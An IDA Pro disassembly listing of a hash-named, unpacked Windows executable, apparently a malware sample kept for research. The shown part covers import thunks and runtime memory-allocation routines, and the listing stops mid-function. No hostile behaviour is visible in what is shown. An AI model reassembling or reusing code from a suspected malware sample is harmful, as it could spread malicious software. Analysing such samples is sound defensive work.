;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 48128671A8ACD8CFD6450EF1880F704A
; File Name : u:\work\48128671a8acd8cfd6450ef1880f704a_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000042F8 ( 17144.)
; Section size in file : 000042F8 ( 17144.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
CODE segment para public 'CODE' use32
assume cs:CODE
;org 401000h
assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401000 proc near ; CODE XREF: sub_403394+39p
; sub_403394+54p
jmp ds:dword_4080F8
sub_401000 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401008 proc near ; CODE XREF: sub_402D70+14p
; sub_402D8C+16p ...
jmp ds:dword_4080F4
sub_401008 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401010 proc near ; CODE XREF: sub_4031E8-2B6p
; CODE:00403140p
; DATA XREF: ...
jmp ds:dword_4080F0
sub_401010 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401018 proc near ; CODE XREF: sub_4031E8-31Ep
; sub_4031E8-2E1p ...
jmp ds:dword_4080EC
sub_401018 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401020 proc near ; CODE XREF: sub_403394+3Fp
; sub_403394+5Ap
jmp ds:dword_4080E8
sub_401020 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_402920+19p
; sub_402920+55p ...
jmp ds:dword_408108
sub_401028 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401030 proc near ; CODE XREF: sub_403420+C3p
jmp ds:dword_4080E4
sub_401030 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401038 proc near ; CODE XREF: sub_403394+78p
jmp ds:dword_408104
sub_401038 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401040 proc near ; CODE XREF: sub_403420+8Bp
jmp ds:dword_4080E0
sub_401040 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401048 proc near ; CODE XREF: sub_402A84:loc_402ABBp
; sub_403AE4+67p
jmp ds:dword_4080DC
sub_401048 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_403A1C+26p
jmp ds:dword_4080D8
sub_401050 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401058 proc near ; CODE XREF: sub_402A84+23p
jmp ds:dword_4080D4
sub_401058 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401060 proc near ; CODE XREF: sub_4010B0+Ap
jmp ds:dword_4080D0
sub_401060 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401068 proc near ; CODE XREF: sub_403AE4:loc_403B8Cp
; sub_403AE4:loc_403B9Dp
jmp ds:dword_4080CC
sub_401068 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401070 proc near ; CODE XREF: sub_40360C+12p
jmp ds:dword_4080C8
sub_401070 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401078 proc near ; CODE XREF: sub_402C94+6Bp
jmp ds:dword_408118
sub_401078 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401080 proc near ; CODE XREF: sub_402C94+22p
jmp ds:dword_408114
sub_401080 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401088 proc near ; CODE XREF: sub_402C94+55p
jmp ds:dword_408110
sub_401088 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401090 proc near ; CODE XREF: sub_4037A0+7p
; sub_40386C+Bp
jmp ds:dword_408124
sub_401090 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401098 proc near ; CODE XREF: sub_4037B8+7p
; sub_4037C8+Ep ...
jmp ds:dword_408120
sub_401098 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; CODE XREF: sub_403AE4:loc_403BACp
jmp ds:dword_4080C4
sub_4010A0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A8 proc near ; CODE XREF: sub_403AE4+7Bp
; sub_403AE4+8Cp
jmp ds:dword_4080C0
sub_4010A8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4010B0 proc near ; CODE XREF: sub_403AE4+71p
var_1C = word ptr -1Ch
var_18 = word ptr -18h
push ebx
add esp, 0FFFFFFBCh
mov ebx, 0Ah
push esp
call sub_401060 ; GetStartupInfoA
test byte ptr [esp+48h+var_1C], 1
jz short loc_4010CB
movzx ebx, [esp+48h+var_18]
loc_4010CB: ; CODE XREF: sub_4010B0+14j
mov eax, ebx
add esp, 44h
pop ebx
retn
sub_4010B0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D4 proc near ; CODE XREF: sub_401114+15p
; sub_40191C+54p
jmp ds:dword_4080BC
sub_4010D4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_4019F4+41p
; sub_4019F4+B6p
jmp ds:dword_4080B8
sub_4010DC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E4 proc near ; CODE XREF: sub_40137C+2Fp
; sub_4013E0+1Ep ...
jmp ds:dword_4080B4
sub_4010E4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EC proc near ; CODE XREF: sub_40137C+56p
; sub_4013E0+69p ...
jmp ds:dword_4080B0
sub_4010EC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F4 proc near ; CODE XREF: sub_40191C+17p
jmp ds:dword_4080AC
sub_4010F4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FC proc near ; CODE XREF: sub_40191C+2Ap
; sub_4019F4+2Fp ...
jmp ds:dword_4080A8
sub_4010FC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; CODE XREF: sub_40191C+C2p
; sub_4019F4+E4p ...
jmp ds:dword_4080A4
sub_401104 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40110C proc near ; CODE XREF: sub_4019F4+EEp
jmp ds:dword_4080A0
sub_40110C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401114 proc near ; CODE XREF: sub_4011A0+9p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push ebx
add esp, 0FFFFFFF4h
mov ebx, offset dword_4075D0
cmp dword ptr [ebx], 0
jnz short loc_40117B
push 644h
push 0
call sub_4010D4 ; LocalAlloc
mov [esp+10h+var_8], eax
cmp [esp+10h+var_8], 0
jnz short loc_401140
xor eax, eax
mov [esp+10h+var_10], eax
jmp short loc_401190
; ---------------------------------------------------------------------------
loc_401140: ; CODE XREF: sub_401114+23j
mov eax, [esp+10h+var_8]
mov edx, ds:dword_4075CC
mov [eax], edx
mov eax, [esp+10h+var_8]
mov ds:dword_4075CC, eax
xor eax, eax
loc_401157: ; CODE XREF: sub_401114+65j
mov edx, eax
add edx, edx
mov ecx, [esp+10h+var_8]
lea edx, [ecx+edx*8+4]
mov [esp+10h+var_C], edx
mov edx, [esp+10h+var_C]
mov ecx, [ebx]
mov [edx], ecx
mov edx, [esp+10h+var_C]
mov [ebx], edx
inc eax
cmp eax, 64h
jnz short loc_401157
loc_40117B: ; CODE XREF: sub_401114+Cj
mov eax, [ebx]
mov [esp+10h+var_C], eax
mov eax, [esp+10h+var_C]
mov eax, [eax]
mov [ebx], eax
mov eax, [esp+10h+var_C]
mov [esp+10h+var_10], eax
loc_401190: ; CODE XREF: sub_401114+2Aj
mov eax, [esp+10h+var_10]
add esp, 0Ch
pop ebx
retn
sub_401114 endp
; =============== S U B R O U T I N E =======================================
sub_401198 proc near ; CODE XREF: sub_40191C+34p
; sub_40191C+3Ep ...
mov [eax], eax
mov [eax+4], eax
retn
sub_401198 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4011A0 proc near ; CODE XREF: sub_401230+71p
; sub_4012B8+96p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
push ebx
push esi
add esp, 0FFFFFFF8h
mov esi, edx
mov ebx, eax
call sub_401114
mov [esp+10h+var_C], eax
cmp [esp+10h+var_C], 0
jnz short loc_4011BD
xor eax, eax
jmp short loc_4011F7
; ---------------------------------------------------------------------------
loc_4011BD: ; CODE XREF: sub_4011A0+17j
mov eax, [esi]
mov edx, [esp+10h+var_C]
mov [edx+8], eax
mov eax, [esi+4]
mov edx, [esp+10h+var_C]
mov [edx+0Ch], eax
mov eax, [ebx]
mov [esp+10h+var_10], eax
mov eax, [esp+10h+var_C]
mov edx, [esp+10h+var_10]
mov [eax], edx
mov eax, [esp+10h+var_C]
mov [eax+4], ebx
mov eax, [esp+10h+var_10]
mov edx, [esp+10h+var_C]
mov [eax+4], edx
mov eax, [esp+10h+var_C]
mov [ebx], eax
mov al, 1
loc_4011F7: ; CODE XREF: sub_4011A0+1Bj
pop ecx
pop edx
pop esi
pop ebx
retn
sub_4011A0 endp
; =============== S U B R O U T I N E =======================================
sub_4011FC proc near ; CODE XREF: sub_401230+37p
; sub_401230+56p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
add esp, 0FFFFFFF8h
mov edx, [eax+4]
mov [esp+8+var_8], edx
mov edx, [eax]
mov [esp+8+var_4], edx
mov edx, [esp+8+var_8]
mov ecx, [esp+8+var_4]
mov [edx], ecx
mov edx, [esp+8+var_4]
mov ecx, [esp+8+var_8]
mov [edx+4], ecx
mov edx, ds:dword_4075D0
mov [eax], edx
mov ds:dword_4075D0, eax
pop ecx
pop edx
retn
sub_4011FC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_401230 proc near ; CODE XREF: sub_40169C+80p
; sub_401744+78p ...
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF8h
mov ebx, ecx
mov esi, eax
mov edi, esp
mov eax, [esi]
mov [edi], eax
mov eax, [edx]
mov [ebx], eax
mov eax, [edx+4]
mov [ebx+4], eax
loc_40124B: ; CODE XREF: sub_401230+6Bj
mov eax, [edi]
mov eax, [eax]
mov [esp+18h+var_14], eax
mov edx, [edi]
mov edx, [edx+8]
mov ecx, edx
mov ebp, [edi]
add ecx, [ebp+0Ch]
mov eax, [ebx]
cmp ecx, eax
jnz short loc_40127D
mov eax, [edi]
call sub_4011FC
mov eax, [edi]
mov eax, [eax+8]
mov [ebx], eax
mov eax, [edi]
mov eax, [eax+0Ch]
add [ebx+4], eax
jmp short loc_401293
; ---------------------------------------------------------------------------
loc_40127D: ; CODE XREF: sub_401230+33j
add eax, [ebx+4]
cmp edx, eax
jnz short loc_401293
mov eax, [edi]
call sub_4011FC
mov eax, [edi]
mov eax, [eax+0Ch]
add [ebx+4], eax
loc_401293: ; CODE XREF: sub_401230+4Bj
; sub_401230+52j
mov eax, [esp+18h+var_14]
mov [edi], eax
cmp esi, [edi]
jnz short loc_40124B
mov edx, ebx
mov eax, esi
call sub_4011A0
test al, al
jnz short loc_4012AE
xor eax, eax
mov [ebx], eax
loc_4012AE: ; CODE XREF: sub_401230+78j
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_401230 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4012B8 proc near ; CODE XREF: sub_401888+82p
; sub_401D0C+ABp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF0h
mov [esp+20h+var_20], eax
mov esi, esp
mov eax, [esi]
mov [esp+20h+var_14], eax
loc_4012CA: ; CODE XREF: sub_4012B8+B3j
mov ecx, [edx]
mov eax, [esi]
mov eax, [eax+8]
cmp ecx, eax
jb loc_40135F
mov ebx, eax
mov edi, [esi]
add ebx, [edi+0Ch]
mov edi, ecx
add edi, [edx+4]
cmp ebx, edi
jb short loc_40135F
cmp ecx, eax
jnz short loc_40130E
mov eax, [edx+4]
mov ecx, [esi]
add [ecx+8], eax
mov eax, [edx+4]
mov edx, [esi]
sub [edx+0Ch], eax
mov eax, [esi]
cmp dword ptr [eax+0Ch], 0
jnz short loc_40135B
mov eax, [esi]
call sub_4011FC
jmp short loc_40135B
; ---------------------------------------------------------------------------
loc_40130E: ; CODE XREF: sub_4012B8+33j
mov ebx, eax
mov edi, [esi]
add ebx, [edi+0Ch]
mov edi, ecx
add edi, [edx+4]
cmp ebx, edi
jnz short loc_401328
mov eax, [edx+4]
mov edx, [esi]
sub [edx+0Ch], eax
jmp short loc_40135B
; ---------------------------------------------------------------------------
loc_401328: ; CODE XREF: sub_4012B8+64j
mov ebx, [edx]
add ebx, [edx+4]
mov [esp+20h+var_1C], ebx
mov edi, [esi]
mov edi, [edi+8]
mov ebp, [esi]
add edi, [ebp+0Ch]
sub edi, ebx
mov [esp+20h+var_18], edi
sub ecx, eax
mov eax, [esi]
mov [eax+0Ch], ecx
lea edx, [esp+20h+var_1C]
mov eax, [esi]
call sub_4011A0
test al, al
jnz short loc_40135B
xor eax, eax
jmp short loc_401373
; ---------------------------------------------------------------------------
loc_40135B: ; CODE XREF: sub_4012B8+4Bj
; sub_4012B8+54j ...
mov al, 1
jmp short loc_401373
; ---------------------------------------------------------------------------
loc_40135F: ; CODE XREF: sub_4012B8+1Bj
; sub_4012B8+2Fj
mov eax, [esi]
mov eax, [eax]
mov [esi], eax
mov eax, [esi]
cmp eax, [esp+20h+var_14]
jnz loc_4012CA
xor eax, eax
loc_401373: ; CODE XREF: sub_4012B8+A1j
; sub_4012B8+A5j
add esp, 10h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4012B8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40137C proc near ; CODE XREF: sub_40169C+6Ep
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
cmp esi, 100000h
jge short loc_401392
mov esi, 100000h
jmp short loc_40139E
; ---------------------------------------------------------------------------
loc_401392: ; CODE XREF: sub_40137C+Dj
add esi, 0FFFFh
and esi, 0FFFF0000h
loc_40139E: ; CODE XREF: sub_40137C+14j
mov [ebx+4], esi
push 1
push 2000h
push esi
push 0
call sub_4010E4 ; VirtualAlloc
mov edi, eax
mov [ebx], edi
test edi, edi
jz short loc_4013DB
mov edx, ebx
mov eax, offset off_4075D4
call sub_4011A0
test al, al
jnz short loc_4013DB
push 8000h
push 0
mov eax, [ebx]
push eax
call sub_4010EC ; VirtualFree
xor eax, eax
mov [ebx], eax
loc_4013DB: ; CODE XREF: sub_40137C+3Aj
; sub_40137C+4Aj
pop edi
pop esi
pop ebx
retn
sub_40137C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4013E0 proc near ; CODE XREF: sub_401744+62p
; sub_401744+A9p
push ebx
push esi
push edi
push ebp
mov ebx, ecx
mov esi, edx
mov ebp, eax
mov dword ptr [ebx+4], 100000h
push 4
push 2000h
push 100000h
push ebp
call sub_4010E4 ; VirtualAlloc
mov edi, eax
mov [ebx], edi
test edi, edi
jnz short loc_40142A
add esi, 0FFFFh
and esi, 0FFFF0000h
mov [ebx+4], esi
push 4
push 2000h
push esi
push ebp
call sub_4010E4 ; VirtualAlloc
mov [ebx], eax
loc_40142A: ; CODE XREF: sub_4013E0+29j
cmp dword ptr [ebx], 0
jz short loc_401452
mov edx, ebx
mov eax, offset off_4075D4
call sub_4011A0
test al, al
jnz short loc_401452
push 8000h
push 0
mov eax, [ebx]
push eax
call sub_4010EC ; VirtualFree
xor eax, eax
mov [ebx], eax
loc_401452: ; CODE XREF: sub_4013E0+4Dj
; sub_4013E0+5Dj
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4013E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401458 proc near ; CODE XREF: sub_40169C+95p
; sub_401744+90p ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFE8h
mov edi, ecx
mov esi, esp
mov [esp+28h+var_20], 0FFFFFFFFh
xor ecx, ecx
mov [esp+28h+var_1C], ecx
mov [esp+28h+var_18], eax
add edx, [esp+28h+var_18]
mov [esp+28h+var_14], edx
mov eax, ds:off_4075D4
mov [esi], eax
jmp short loc_4014F1
; ---------------------------------------------------------------------------
loc_401486: ; CODE XREF: sub_401458+A0j
mov eax, [esi]
mov eax, [eax]
mov [esp+28h+var_24], eax
mov eax, [esi]
mov ebx, [eax+8]
cmp ebx, [esp+28h+var_18]
jb short loc_4014EB
mov eax, ebx
mov edx, [esi]
add eax, [edx+0Ch]
cmp eax, [esp+28h+var_14]
ja short loc_4014EB
cmp ebx, [esp+28h+var_20]
jnb short loc_4014B0
mov [esp+28h+var_20], ebx
loc_4014B0: ; CODE XREF: sub_401458+52j
mov eax, [esi]
mov ebp, [eax+8]
mov eax, [esi]
add ebp, [eax+0Ch]
cmp ebp, [esp+28h+var_1C]
jbe short loc_4014C4
mov [esp+28h+var_1C], ebp
loc_4014C4: ; CODE XREF: sub_401458+66j
push 8000h
push 0
mov eax, [esi]
mov eax, [eax+8]
push eax
call sub_4010EC ; VirtualFree
test eax, eax
jnz short loc_4014E4
mov ds:dword_4075B0, 1
loc_4014E4: ; CODE XREF: sub_401458+80j
mov eax, [esi]
call sub_4011FC
loc_4014EB: ; CODE XREF: sub_401458+3Fj
; sub_401458+4Cj
mov eax, [esp+28h+var_24]
mov [esi], eax
loc_4014F1: ; CODE XREF: sub_401458+2Cj
mov eax, offset off_4075D4
cmp eax, [esi]
jnz short loc_401486
xor eax, eax
mov [edi], eax
cmp [esp+28h+var_1C], 0
jz short loc_401516
mov eax, [esp+28h+var_20]
mov [edi], eax
mov eax, [esp+28h+var_1C]
sub eax, [esp+28h+var_20]
mov [edi+4], eax
loc_401516: ; CODE XREF: sub_401458+ABj
add esp, 18h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_401458 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=18h
sub_401520 proc near ; CODE XREF: sub_40169C+35p
; sub_401744+100p
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_18 = dword ptr -18h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFE8h
mov ebx, ecx
mov [esp+24h+var_3C], edx
lea esi, [esp+24h+var_34]
lea edi, [esp+24h+var_38]
lea ebp, [esp+0Ch]
mov edx, eax
mov ecx, edx
and ecx, 0FFFFF000h
mov [esp+24h+var_2C], ecx
add edx, [esp+24h+var_3C]
add edx, 0FFFh
and edx, 0FFFFF000h
mov [esp+24h+var_28], edx
mov eax, [esp+24h+var_2C]
mov [ebx], eax
mov eax, [esp+24h+var_28]
sub eax, [esp+24h+var_2C]
mov [ebx+4], eax
mov eax, ds:off_4075D4
mov [edi], eax
jmp short loc_4015CE
; ---------------------------------------------------------------------------
loc_401573: ; CODE XREF: sub_401520+B5j
mov eax, [edi]
mov eax, [eax+8]
mov [esi], eax
mov eax, [edi]
mov eax, [eax+0Ch]
add eax, [esi]
mov [ebp+18h+var_18], eax
mov eax, [esi]
cmp eax, [esp+24h+var_2C]
jnb short loc_401592
mov eax, [esp+24h+var_2C]
mov [esi], eax
loc_401592: ; CODE XREF: sub_401520+6Aj
mov eax, [ebp+18h+var_18]
cmp eax, [esp+24h+var_28]
jbe short loc_4015A2
mov eax, [esp+24h+var_28]
mov [ebp+18h+var_18], eax
loc_4015A2: ; CODE XREF: sub_401520+79j
mov eax, [esi]
cmp eax, [ebp+18h+var_18]
jnb short loc_4015C8
push 4
push 1000h
mov eax, [ebp+18h+var_18]
sub eax, [esi]
push eax
mov eax, [esi]
push eax
call sub_4010E4 ; VirtualAlloc
test eax, eax
jnz short loc_4015C8
xor eax, eax
mov [ebx], eax
jmp short loc_4015D7
; ---------------------------------------------------------------------------
loc_4015C8: ; CODE XREF: sub_401520+87j
; sub_401520+A0j
mov eax, [edi]
mov eax, [eax]
mov [edi], eax
loc_4015CE: ; CODE XREF: sub_401520+51j
mov eax, offset off_4075D4
cmp eax, [edi]
jnz short loc_401573
loc_4015D7: ; CODE XREF: sub_401520+A6j
add esp, 18h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_401520 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4015E0 proc near ; CODE XREF: sub_401888+36p
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFE8h
mov [esp+28h+var_28], edx
lea esi, [esp+28h+var_20]
lea edi, [esp+28h+var_24]
lea ebx, [esp+28h+var_1C]
mov edx, eax
mov ebp, edx
add ebp, 0FFFh
and ebp, 0FFFFF000h
mov [esp+28h+var_18], ebp
add edx, [esp+28h+var_28]
and edx, 0FFFFF000h
mov [esp+28h+var_14], edx
mov eax, [esp+28h+var_18]
mov [ecx], eax
mov eax, [esp+28h+var_14]
sub eax, [esp+28h+var_18]
mov [ecx+4], eax
mov eax, ds:off_4075D4
mov [edi], eax
jmp short loc_401689
; ---------------------------------------------------------------------------
loc_401631: ; CODE XREF: sub_4015E0+B0j
mov eax, [edi]
mov eax, [eax+8]
mov [esi], eax
mov eax, [edi]
mov eax, [eax+0Ch]
add eax, [esi]
mov [ebx], eax
mov eax, [esi]
cmp eax, [esp+28h+var_18]
jnb short loc_40164F
mov eax, [esp+28h+var_18]
mov [esi], eax
loc_40164F: ; CODE XREF: sub_4015E0+67j
mov eax, [ebx]
cmp eax, [esp+28h+var_14]
jbe short loc_40165D
mov eax, [esp+28h+var_14]
mov [ebx], eax
loc_40165D: ; CODE XREF: sub_4015E0+75j
mov eax, [esi]
cmp eax, [ebx]
jnb short loc_401683
push 4000h
mov eax, [ebx]
sub eax, [esi]
push eax
mov eax, [esi]
push eax
call sub_4010EC ; VirtualFree
test eax, eax
jnz short loc_401683
mov ds:dword_4075B0, 2
loc_401683: ; CODE XREF: sub_4015E0+81j
; sub_4015E0+97j
mov eax, [edi]
mov eax, [eax]
mov [edi], eax
loc_401689: ; CODE XREF: sub_4015E0+4Fj
mov eax, offset off_4075D4
cmp eax, [edi]
jnz short loc_401631
add esp, 18h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4015E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40169C proc near ; CODE XREF: sub_401F98+Bp
var_18 = dword ptr -18h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF4h
mov ebx, edx
mov esi, eax
mov edi, esp
mov ebp, offset off_4075E4
add esi, 3FFFh
and esi, 0FFFFC000h
loc_4016BA: ; CODE XREF: sub_40169C+8Aj
mov eax, [ebp+0]
mov [edi], eax
jmp short loc_401702
; ---------------------------------------------------------------------------
loc_4016C1: ; CODE XREF: sub_40169C+68j
mov eax, [edi]
cmp esi, [eax+0Ch]
jg short loc_4016FC
mov ecx, ebx
mov eax, [edi]
mov eax, [eax+8]
mov edx, esi
call sub_401520
cmp dword ptr [ebx], 0
jz short loc_40173A
mov eax, [ebx+4]
mov edx, [edi]
add [edx+8], eax
mov eax, [ebx+4]
mov edx, [edi]
sub [edx+0Ch], eax
mov eax, [edi]
cmp dword ptr [eax+0Ch], 0
jnz short loc_40173A
mov eax, [edi]
call sub_4011FC
jmp short loc_40173A
; ---------------------------------------------------------------------------
loc_4016FC: ; CODE XREF: sub_40169C+2Aj
mov eax, [edi]
mov eax, [eax]
mov [edi], eax
loc_401702: ; CODE XREF: sub_40169C+23j
cmp ebp, [edi]
jnz short loc_4016C1
mov edx, ebx
mov eax, esi
call sub_40137C
cmp dword ptr [ebx], 0
jz short loc_40173A
lea ecx, [esp+1Ch+var_18]
mov edx, ebx
mov eax, ebp
call sub_401230
cmp [esp+1Ch+var_18], 0
jnz short loc_4016BA
lea ecx, [esp+1Ch+var_18]
mov edx, [ebx+4]
mov eax, [ebx]
call sub_401458
xor eax, eax
mov [ebx], eax
loc_40173A: ; CODE XREF: sub_40169C+3Dj
; sub_40169C+55j ...
add esp, 0Ch
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40169C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401744 proc near ; CODE XREF: sub_401FC4+10p
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFE8h
mov [esp+28h+var_28], ecx
mov edi, edx
mov ebx, eax
lea esi, [esp+28h+var_24]
mov ebp, offset off_4075E4
add edi, 3FFFh
and edi, 0FFFFC000h
loc_401767: ; CODE XREF: sub_401744+82j
; sub_401744+C9j
mov eax, [ebp+0]
mov [esi], eax
jmp short loc_401774
; ---------------------------------------------------------------------------
loc_40176E: ; CODE XREF: sub_401744+39j
mov eax, [esi]
mov eax, [eax]
mov [esi], eax
loc_401774: ; CODE XREF: sub_401744+28j
cmp ebp, [esi]
jz short loc_40177F
mov eax, [esi]
cmp ebx, [eax+8]
jnz short loc_40176E
loc_40177F: ; CODE XREF: sub_401744+32j
mov eax, [esi]
cmp ebx, [eax+8]
jnz short loc_4017E5
mov eax, [esi]
cmp edi, [eax+0Ch]
jle loc_40182D
mov eax, [esi]
mov edx, edi
sub edx, [eax+0Ch]
mov eax, [esi]
mov eax, [eax+8]
mov ecx, [esi]
add eax, [ecx+0Ch]
lea ecx, [esp+28h+var_20]
call sub_4013E0
cmp [esp+28h+var_20], 0
jz short loc_4017E5
lea ecx, [esp+28h+var_18]
lea edx, [esp+28h+var_20]
mov eax, ebp
call sub_401230
cmp [esp+28h+var_18], 0
jnz short loc_401767
lea ecx, [esp+28h+var_18]
mov edx, [esp+28h+var_1C]
mov eax, [esp+28h+var_20]
call sub_401458
mov eax, [esp+28h+var_28]
xor edx, edx
mov [eax], edx
jmp loc_40187F
; ---------------------------------------------------------------------------
loc_4017E5: ; CODE XREF: sub_401744+40j
; sub_401744+6Cj
lea ecx, [esp+28h+var_20]
mov edx, edi
mov eax, ebx
call sub_4013E0
cmp [esp+28h+var_20], 0
jz short loc_40182D
lea ecx, [esp+28h+var_18]
lea edx, [esp+28h+var_20]
mov eax, ebp
call sub_401230
cmp [esp+28h+var_18], 0
jnz loc_401767
lea ecx, [esp+28h+var_18]
mov edx, [esp+28h+var_1C]
mov eax, [esp+28h+var_20]
call sub_401458
mov eax, [esp+28h+var_28]
xor edx, edx
mov [eax], edx
jmp short loc_40187F
; ---------------------------------------------------------------------------
loc_40182D: ; CODE XREF: sub_401744+47j
; sub_401744+B3j
mov eax, [esi]
mov ebp, [eax+8]
cmp ebx, ebp
jnz short loc_401878
mov eax, [esi]
cmp edi, [eax+0Ch]
jg short loc_401878
mov ecx, [esp+28h+var_28]
mov eax, ebp
mov edx, edi
call sub_401520
mov eax, [esp+28h+var_28]
cmp dword ptr [eax], 0
jz short loc_40187F
mov eax, [esp+28h+var_28]
mov eax, [eax+4]
mov edx, [esi]
add [edx+8], eax
mov eax, [esp+28h+var_28]
mov eax, [eax+4]
mov edx, [esi]
sub [edx+0Ch], eax
mov eax, [esi]
